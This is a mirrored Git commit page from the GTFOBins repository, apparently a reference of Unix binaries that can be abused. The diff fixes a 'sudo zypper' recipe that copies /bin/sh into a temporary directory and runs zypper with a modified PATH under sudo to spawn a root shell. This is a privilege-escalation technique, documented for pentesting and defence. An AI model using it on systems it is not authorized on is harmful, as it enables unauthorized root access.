mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-09-07 20:50:38 +02:00
Fix sudo zypper
`PATH` is a forbidden variable that is not preserved by -E anyway.
This commit is contained in:
parent
9cd6849b8e
commit
b92d9e0ec2
@ -16,6 +16,5 @@ functions:
|
||||
- code: |
|
||||
TF=$(mktemp -d)
|
||||
cp /bin/sh $TF/zypper-x
|
||||
export PATH=$TF:$PATH
|
||||
sudo -E zypper x
|
||||
sudo PATH=$TF:$PATH zypper x
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user